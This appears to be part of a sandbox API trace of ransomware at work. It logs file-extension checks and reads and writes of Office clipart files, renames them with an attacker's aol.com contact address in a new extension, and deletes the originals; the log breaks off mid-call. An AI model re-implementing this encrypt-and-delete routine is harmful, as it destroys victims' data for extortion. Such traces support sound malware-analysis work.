lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.185] lstrlenW (lpString=".dbf") returned 4 [0265.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.185] lstrlenW (lpString=".1cd") returned 4 [0265.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned 63 [0265.185] lstrlenW (lpString=".jpg") returned 4 [0265.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.185] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.185] lstrlenW (lpString="J0187847.WMF") returned 12 [0265.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.186] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7116) returned 1 [0265.186] CloseHandle (hObject=0x37c) returned 1 [0265.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf")) returned 0x20 [0265.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.186] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.187] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.187] GetLastError () returned 0x0 [0265.187] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1bcc, lpOverlapped=0x0) returned 1 [0265.194] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1bd0, lpOverlapped=0x0) returned 1 [0265.195] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.195] WriteFile (in: hFile=0x1bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.195] SetEndOfFile (hFile=0x1bc) returned 1 [0265.195] CloseHandle (hObject=0x1bc) returned 1 [0265.195] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.195] SetEndOfFile (hFile=0x37c) returned 1 [0265.197] CloseHandle (hObject=0x37c) returned 1 [0265.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf")) returned 1 [0265.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.198] lstrlenW (lpString=".doc") returned 4 [0265.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.198] lstrlenW (lpString=".docx") returned 5 [0265.199] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.199] lstrlenW (lpString=".pdf") returned 4 [0265.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.199] lstrlenW (lpString=".xls") returned 4 [0265.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.199] lstrlenW (lpString=".xlsx") returned 5 [0265.199] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.199] lstrlenW (lpString=".ppt") returned 4 [0265.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.199] lstrlenW (lpString=".zip") returned 4 [0265.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.199] lstrlenW (lpString=".rar") returned 4 [0265.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.199] lstrlenW (lpString=".bz2") returned 4 [0265.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.199] lstrlenW (lpString=".7z") returned 3 [0265.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.199] lstrlenW (lpString=".dbf") returned 4 [0265.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.199] lstrlenW (lpString=".1cd") returned 4 [0265.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.199] lstrlenW (lpString=".jpg") returned 4 [0265.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.199] lstrlenW (lpString=".doc") returned 4 [0265.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.199] lstrlenW (lpString=".docx") returned 5 [0265.199] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.199] lstrlenW (lpString=".pdf") returned 4 [0265.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.200] lstrlenW (lpString=".xls") returned 4 [0265.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.200] lstrlenW (lpString=".xlsx") returned 5 [0265.200] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.200] lstrlenW (lpString=".ppt") returned 4 [0265.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.200] lstrlenW (lpString=".zip") returned 4 [0265.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.200] lstrlenW (lpString=".rar") returned 4 [0265.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.200] lstrlenW (lpString=".bz2") returned 4 [0265.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.200] lstrlenW (lpString=".7z") returned 3 [0265.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.200] lstrlenW (lpString=".dbf") returned 4 [0265.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.200] lstrlenW (lpString=".1cd") returned 4 [0265.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned 63 [0265.200] lstrlenW (lpString=".jpg") returned 4 [0265.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.200] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.200] lstrlenW (lpString="J0187851.WMF") returned 12 [0265.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.205] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=8732) returned 1 [0265.205] CloseHandle (hObject=0x390) returned 1 [0265.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf")) returned 0x20 [0265.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.206] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.206] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.207] GetLastError () returned 0x0 [0265.207] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x221c, lpOverlapped=0x0) returned 1 [0265.208] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0265.209] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.209] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.209] SetEndOfFile (hFile=0x360) returned 1 [0265.210] CloseHandle (hObject=0x360) returned 1 [0265.210] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.210] SetEndOfFile (hFile=0x390) returned 1 [0265.212] CloseHandle (hObject=0x390) returned 1 [0265.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf")) returned 1 [0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.213] lstrlenW (lpString=".doc") returned 4 [0265.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.213] lstrlenW (lpString=".docx") returned 5 [0265.213] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.213] lstrlenW (lpString=".pdf") returned 4 [0265.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.213] lstrlenW (lpString=".xls") returned 4 [0265.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.213] lstrlenW (lpString=".xlsx") returned 5 [0265.213] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.213] lstrlenW (lpString=".ppt") returned 4 [0265.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.213] lstrlenW (lpString=".zip") returned 4 [0265.213] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.213] lstrlenW (lpString=".rar") returned 4 [0265.213] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.213] lstrlenW (lpString=".bz2") returned 4 [0265.213] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.213] lstrlenW (lpString=".7z") returned 3 [0265.213] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.213] lstrlenW (lpString=".dbf") returned 4 [0265.213] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.213] lstrlenW (lpString=".1cd") returned 4 [0265.213] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.213] lstrlenW (lpString=".jpg") returned 4 [0265.213] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.214] lstrlenW (lpString=".doc") returned 4 [0265.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.214] lstrlenW (lpString=".docx") returned 5 [0265.214] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.214] lstrlenW (lpString=".pdf") returned 4 [0265.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.214] lstrlenW (lpString=".xls") returned 4 [0265.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.214] lstrlenW (lpString=".xlsx") returned 5 [0265.214] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.214] lstrlenW (lpString=".ppt") returned 4 [0265.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.214] lstrlenW (lpString=".zip") returned 4 [0265.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.214] lstrlenW (lpString=".rar") returned 4 [0265.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.214] lstrlenW (lpString=".bz2") returned 4 [0265.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.214] lstrlenW (lpString=".7z") returned 3 [0265.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.214] lstrlenW (lpString=".dbf") returned 4 [0265.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.214] lstrlenW (lpString=".1cd") returned 4 [0265.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF") returned 63 [0265.214] lstrlenW (lpString=".jpg") returned 4 [0265.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.214] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.214] lstrlenW (lpString="J0187859.WMF") returned 12 [0265.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.215] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2732) returned 1 [0265.215] CloseHandle (hObject=0x390) returned 1 [0265.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf")) returned 0x20 [0265.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.216] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.216] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.217] GetLastError () returned 0x0 [0265.217] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xaac, lpOverlapped=0x0) returned 1 [0265.218] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0265.219] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.219] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.219] SetEndOfFile (hFile=0x360) returned 1 [0265.219] CloseHandle (hObject=0x360) returned 1 [0265.219] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.219] SetEndOfFile (hFile=0x390) returned 1 [0265.221] CloseHandle (hObject=0x390) returned 1 [0265.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf")) returned 1 [0265.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.223] lstrlenW (lpString=".doc") returned 4 [0265.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.223] lstrlenW (lpString=".docx") returned 5 [0265.223] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.223] lstrlenW (lpString=".pdf") returned 4 [0265.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.223] lstrlenW (lpString=".xls") returned 4 [0265.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.223] lstrlenW (lpString=".xlsx") returned 5 [0265.223] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.223] lstrlenW (lpString=".ppt") returned 4 [0265.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.223] lstrlenW (lpString=".zip") returned 4 [0265.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.223] lstrlenW (lpString=".rar") returned 4 [0265.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.223] lstrlenW (lpString=".bz2") returned 4 [0265.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.223] lstrlenW (lpString=".7z") returned 3 [0265.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.224] lstrlenW (lpString=".dbf") returned 4 [0265.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.224] lstrlenW (lpString=".1cd") returned 4 [0265.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.224] lstrlenW (lpString=".jpg") returned 4 [0265.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.224] lstrlenW (lpString=".doc") returned 4 [0265.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.224] lstrlenW (lpString=".docx") returned 5 [0265.224] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0265.224] lstrlenW (lpString=".pdf") returned 4 [0265.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.224] lstrlenW (lpString=".xls") returned 4 [0265.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.224] lstrlenW (lpString=".xlsx") returned 5 [0265.224] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0265.224] lstrlenW (lpString=".ppt") returned 4 [0265.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.224] lstrlenW (lpString=".zip") returned 4 [0265.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.224] lstrlenW (lpString=".rar") returned 4 [0265.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.224] lstrlenW (lpString=".bz2") returned 4 [0265.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.224] lstrlenW (lpString=".7z") returned 3 [0265.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.224] lstrlenW (lpString=".dbf") returned 4 [0265.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.224] lstrlenW (lpString=".1cd") returned 4 [0265.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF") returned 63 [0265.225] lstrlenW (lpString=".jpg") returned 4 [0265.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.225] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.225] lstrlenW (lpString="J0187861.WMF") returned 12 [0265.225] CreateFileW 